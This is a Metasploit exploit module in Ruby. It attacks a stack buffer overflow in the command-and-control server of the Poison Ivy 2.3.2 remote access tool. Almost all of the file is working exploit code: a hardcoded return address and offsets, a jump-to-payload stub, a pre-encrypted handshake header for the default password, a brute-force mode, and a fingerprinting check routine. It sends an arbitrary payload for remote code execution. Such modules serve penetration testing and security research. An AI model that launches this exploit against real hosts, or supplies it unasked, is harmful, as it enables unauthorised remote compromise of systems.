##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Brute

  def initialize(info = {})
    super(update_info(info,
      'Name'           => "Poison Ivy Server Buffer Overflow",
      'Description'    => %q{
        This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
        The exploit does not need to know the password chosen for the bot/server
        communication. If the C&C is configured with the default 'admin' password,
        the exploit should work fine. In case of the C&C configured with another
        password the exploit can fail. The 'check' command can be used to determine
        if the C&C target is using the default 'admin' password.

        Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread
        responsible of handling the connection. Because of this the module provides the
        RANDHEADER option and a	bruteforce target. If RANDHEADER is used a random header
        will be used. If the bruteforce target is selected, a random header will be sent in
        case the default for the password 'admin' doesn't work. Bruteforce will stop after
        5 tries or a session obtained.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Andrzej Dereszowski', # Vulnerability Discovery
          'Gal Badishi', # Exploit and Metasploit module
          'juan vazquez' # Testing and little of Metasploit-fu
        ],
      'References'     =>
        [
          [ 'OSVDB', '83774' ],
          [ 'EDB', '19613' ],
          [ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
          [ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
        ],
      'DisclosureDate' => "Jun 24 2012",
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'StackAdjustment'   => -4000,
          'Space'             => 10000,
          'BadChars'          => "",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [
            'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
              'RWAddress' => 0x00401000,
              'Offset' => 0x806D,
              'PayloadOffset' => 0x75,
              'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
            }
          ],
          [
            'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',
            {
              'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
              'RWAddress' => 0x00401000,
              'Offset' => 0x806D,
              'PayloadOffset' => 0x75,
              'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp
              'Bruteforce' =>
                {
                  'Start' => { 'Try' => 1 },
                  'Stop'  => { 'Try' => 6 },
                  'Step'  => 1,
                  'Delay' => 2
                }
            }
          ]
        ],
      'DefaultTarget'  => 0
    ))

    register_options(
      [
        Opt::RPORT(3460),
        OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])
      ], self.class)

    register_advanced_options(
      [
        OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),
      ], self.class)

  end

  def check
    sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
    lensig = [0x000015D0].pack("V")

    connect
    sock.put("\x00" * 256)
    response = sock.read(256)
    datalen = sock.read(4)
    disconnect

    if datalen == lensig
      if response[0, 16] == sig
        vprint_status("Password appears to be \"admin\"")
        return Exploit::CheckCode::Appears
      else
        vprint_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
        return Exploit::CheckCode::Detected
      end
    end
    return Exploit::CheckCode::Safe
  end

  def single_exploit
    if datastore['RANDHEADER'] == true
      # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
      header = rand_text(0x20)
    else
      # This is the 32-byte header we want to send, encrypted with the default password ("admin")
      # We have a very good chance of succeeding even if the password was changed
      header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
    end
    do_exploit(header)
  end

  def brute_exploit(brute_target)
    if brute_target['Try'] == 1
      print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")
      # This is the 32-byte header we want to send, encrypted with the default password ("admin")
      # We have a very good chance of succeeding even if the password was changed
      header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
    else
      print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")
      # Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
      header = rand_text(0x20)
    end
    do_exploit(header)
  end

  def do_exploit(header)
    # Handshake
    connect
    print_status("Performing handshake...")
    sock.put("\x00" * 256)
    sock.get_once(-1, 10)

    # Don't change the nulls, or it might not work
    xploit  = ''
    xploit << header
    xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
    xploit << payload.encoded
    xploit << "\x00" * (target['Offset'] - xploit.length)
    xploit << [target.ret].pack("V") # ret to a jmp esp opcode
    xploit << [target['RWAddress']].pack("V") # Readable/writeable - will be cleaned by original ret 4 (esp will point to the next dword)
    xploit << target['jmpPayload'] # This comes immediately after ret - it is a setup for the payload (jmp back)

    # The disconnection triggers the exploit
    print_status("Sending exploit...")
    sock.put(xploit)
    select(nil,nil,nil,5)
    disconnect
  end

end

=begin

* ROP version of exploit(): Has been discarded at the moment because of two reasons:

(1) Poison Ivy fails to run on DEP enabled systems (maybe due to the unpacking process)
(2) When trying a unpacked version on DEP enabled systems windows/exec payload runs, but not meterpreter

=end
